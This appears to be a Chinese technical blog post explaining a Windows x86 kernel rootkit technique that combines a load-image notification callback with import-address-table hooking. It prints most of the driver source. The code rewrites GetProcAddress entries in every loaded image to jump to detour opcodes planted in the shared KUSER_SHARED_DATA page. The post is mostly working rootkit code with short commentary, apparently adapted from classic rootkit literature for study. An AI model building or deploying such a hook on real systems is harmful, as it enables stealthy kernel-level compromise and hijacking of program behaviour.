x86 混合式钩子

如果希望在加载目标进程或DLL时获得通知,操作系统提供了一个非常有用的函数PsSetImageLoadNotifyRoutine。如名称所示,该函数注册了一个每次将映像加载到内存中时都要调用的驱动程序回调例程。

NTSTATUS
  PsSetLoadImageNotifyRoutine(
    IN PLOAD_IMAGE_NOTIFY_ROUTINE  NotifyRoutine
    );

它只有一个参数,即回调例程的地址。回调例程应该声明如下:

VOID MyImageLoadNotify(IN PUNICODE_STRING,
                       IN HANDLE,
                       IN PIMAGE_INFO);

UNICODE_STRING包含了由内核加载的模块名,HANDLE参数是模块加载到的目标进程的PID.rootkit已处于该PID的内存上下文中,IMAGE_INFO结构包含了rootkit需要的有用信息。

 1 typedef struct  _IMAGE_INFO {
 2     union {
 3         ULONG  Properties;
 4         struct {
 5             ULONG ImageAddressingMode  : 8; //code addressing mode
 6             ULONG SystemModeImage      : 1; //system mode image
 7             ULONG ImageMappedToAllPids : 1; //mapped in all processes
 8             ULONG Reserved             : 22;
 9         };
10     };
11     PVOID  ImageBase;
12     ULONG  ImageSelector;
13     ULONG  ImageSize;
14     ULONG  ImageSectionNumber;
15 } IMAGE_INFO, *PIMAGE_INFO;

 

先展示rootikit.h

 1 typedef unsigned long DWORD;
 2 typedef unsigned long *PDWORD;
 3 typedef unsigned short WORD;
 4 
 5 BOOLEAN gb_Hooked;
 6 
 7 // MakePtr is a macro that allows you to easily add to values (including
 8 // pointers) together without dealing with C's pointer arithmetic.  It
 9 // essentially treats the last two parameters as DWORDs.  The first
10 // parameter is used to typecast the result to the appropriate pointer type.
11 // by Jeffrey Richter?
12 #define MakePtr( cast, ptr, addValue ) (cast)( (DWORD)(ptr) + (DWORD)(addValue))
13 
14 VOID MyImageLoadNotify(IN PUNICODE_STRING,
15                        IN HANDLE,
16                        IN PIMAGE_INFO);
17 
18 NTSTATUS HookImportsOfImage(PIMAGE_DOS_HEADER, HANDLE);

 

rootkit.c的前一段 DriverEntry调用了PsSetLoadImageNotifyRoutine函数去指定了一个回调函数MyImageLoadNotify

 1 #include "ntddk.h"
 2 #include "ntimage.h"
 3 #include "hybridhook.h"
 4 
 5 
 6 
 7 NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, 
 8                      IN PUNICODE_STRING theRegistryPath)
 9 {
10     NTSTATUS ntStatus;
11     gb_Hooked = FALSE; // We have not hooked yet
12 
13     ntStatus = PsSetLoadImageNotifyRoutine(MyImageLoadNotify);
14 
15     return ntStatus;
16 }
17 
18 /
19 // MyImageLoadNotify gets called when an image is loaded
20 // into kernel or user space. At this point, you could 
21 // filter your hook based on ProcessId or on the name of
22 // of the image.
23 VOID MyImageLoadNotify(IN PUNICODE_STRING  FullImageName,
24                        IN HANDLE  ProcessId, // Process where image is mapped
25                        IN PIMAGE_INFO  ImageInfo)
26 {
27 //    UNICODE_STRING u_targetDLL;
28 
29     DbgPrint("Image name: %ws\n", FullImageName->Buffer);
30     // Setup the name of the DLL to target
31 //    RtlInitUnicodeString(&u_targetDLL, L"\\WINDOWS\\system32\\kernel32.dll");
32 
33 //    if (RtlCompareUnicodeString(FullImageName, &u_targetDLL, TRUE) == 0)
34 //    {
35         HookImportsOfImage(ImageInfo->ImageBase, ProcessId);
36 //    }
37 
38 }

HookImportsOfImage扫描所有模块,确认它是否从KERNEL32.DLL导入了GetProcAddress函数,如果发现这个IAT,它就更改关于IAT的内存保护机制,

一旦改变了权限,rootkit就可以使用钩子地址来重写IAT中的地址。

 

Barnaby Jack提出了利用两个虚地址映射到同一个物理地址这个事实,内核地址0xFFDF0000和用户地址0X7FFE0000都指向同一个物理页面,内核地址是可写

的,但用户地址则不能。rootkit可以在IAT钩子中将代码写到内核地址并以用户地址来访问它。该共享区域的大小事4K,内核占用其中一部分。

该内存区域的名称是KUSER_SHARD_DATA。向d_sharedK的地址写入8个字节,后续7个字节只是一个哑地址一入eax,然后跳转。当rootkit找到被钩住函数的

IAT后,它将使用该函数的原始地址来重写这个哑地址。

 

detour Kernel.dll中的GetProcAddress函数 

  1 NTSTATUS HookImportsOfImage(PIMAGE_DOS_HEADER image_addr, HANDLE h_proc)
  2 {
  3     PIMAGE_DOS_HEADER dosHeader;
  4     PIMAGE_NT_HEADERS pNTHeader;
  5     PIMAGE_IMPORT_DESCRIPTOR importDesc;
  6     PIMAGE_IMPORT_BY_NAME p_ibn;
  7     DWORD importsStartRVA;
  8     PDWORD pd_IAT, pd_INTO;
  9     int count, index;
 10     char *dll_name = NULL;
 11     char *pc_dlltar = "kernel32.dll";
 12     char *pc_fnctar = "GetProcAddress";
 13     PMDL  p_mdl;
 14     PDWORD MappedImTable;
 15     DWORD d_sharedM = 0x7ffe0800;
 16     DWORD d_sharedK = 0xffdf0800; 
 17 
 18     // Little detour
 19     unsigned char new_code[] = { 
 20         0x90,                          // NOP make INT 3 to see
 21         0xb8, 0xff, 0xff, 0xff, 0xff,  // mov eax, 0xffffffff
 22         0xff, 0xe0                     // jmp eax
 23     };
 24     
 25     dosHeader = (PIMAGE_DOS_HEADER) image_addr;
 26 
 27     pNTHeader = MakePtr( PIMAGE_NT_HEADERS, dosHeader,
 28                                 dosHeader->e_lfanew );
 29     
 30     // First, verify that the e_lfanew field gave us a reasonable
 31     // pointer, then verify the PE signature.
 32     if ( pNTHeader->Signature != IMAGE_NT_SIGNATURE )
 33         return STATUS_INVALID_IMAGE_FORMAT;
 34 
 35     importsStartRVA = pNTHeader->OptionalHeader.DataDirectory
 36                             [IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
 37 
 38     if (!importsStartRVA)
 39         return STATUS_INVALID_IMAGE_FORMAT;
 40 
 41     importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (importsStartRVA + (DWORD) dosHeader);
 42 
 43     for (count = 0; importDesc[count].Characteristics != 0; count++)
 44     {
 45         dll_name = (char*) (importDesc[count].Name + (DWORD) dosHeader);
 46                 
 47         pd_IAT = (PDWORD)(((DWORD) dosHeader) + (DWORD)importDesc[count].FirstThunk);
 48         pd_INTO = (PDWORD)(((DWORD) dosHeader) + (DWORD)importDesc[count].OriginalFirstThunk);
 49 
 50         for (index = 0; pd_IAT[index] != 0; index++)
 51         {
 52             // If this is an import by ordinal the high
 53             // bit is set
 54             if ((pd_INTO[index] & IMAGE_ORDINAL_FLAG) != IMAGE_ORDINAL_FLAG)
 55             {
 56                 p_ibn = (PIMAGE_IMPORT_BY_NAME)(pd_INTO[index]+((DWORD) dosHeader));
 57                 if ((_stricmp(dll_name, pc_dlltar) == 0) && \
 58                     (strcmp(p_ibn->Name, pc_fnctar) == 0))
 59                 {
 60                     //DbgPrint("Imports from DLL: %s", dll_name);
 61                     //DbgPrint(" Name: %s Address: %x\n", p_ibn->Name, pd_IAT[index]);      
 62 
 63                     // Use the trick you already learned to map a different
 64                     // virtual address to the same physical page so no
 65                     // permission problems.
 66                     //
 67                     // Map the memory into our domain so we can change the permissions on the MDL
 68                     p_mdl = MmCreateMdl(NULL, &pd_IAT[index], 4);
 69                     if(!p_mdl)
 70                         return STATUS_UNSUCCESSFUL;
 71 
 72                     MmBuildMdlForNonPagedPool(p_mdl);
 73 
 74                     // Change the flags of the MDL
 75                     p_mdl->MdlFlags = p_mdl->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
 76 
 77                     MappedImTable = MmMapLockedPages(p_mdl, KernelMode);
 78                     
 79                     if (!gb_Hooked)
 80                     {
 81                         // Writing the raw opcodes to memory
 82                         // used a kernel address that gets mapped
 83                         // into the address space of all processes
 84                         // thanks to Barnaby Jack
 85                         RtlCopyMemory((PVOID)d_sharedK, new_code, 8);
 86                         RtlCopyMemory((PVOID)(d_sharedK+2),(PVOID)&pd_IAT[index], 4);
 87                         gb_Hooked = TRUE;
 88                     }
 89 
 90                     // Offset to the "new function"
 91                     *MappedImTable = d_sharedM;
 92 
 93                     // Free MDL
 94                     MmUnmapLockedPages(MappedImTable, p_mdl);
 95                     IoFreeMdl(p_mdl);
 96 
 97                 }
 98             }
 99         }
100     }
101     return STATUS_SUCCESS;
102 }

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值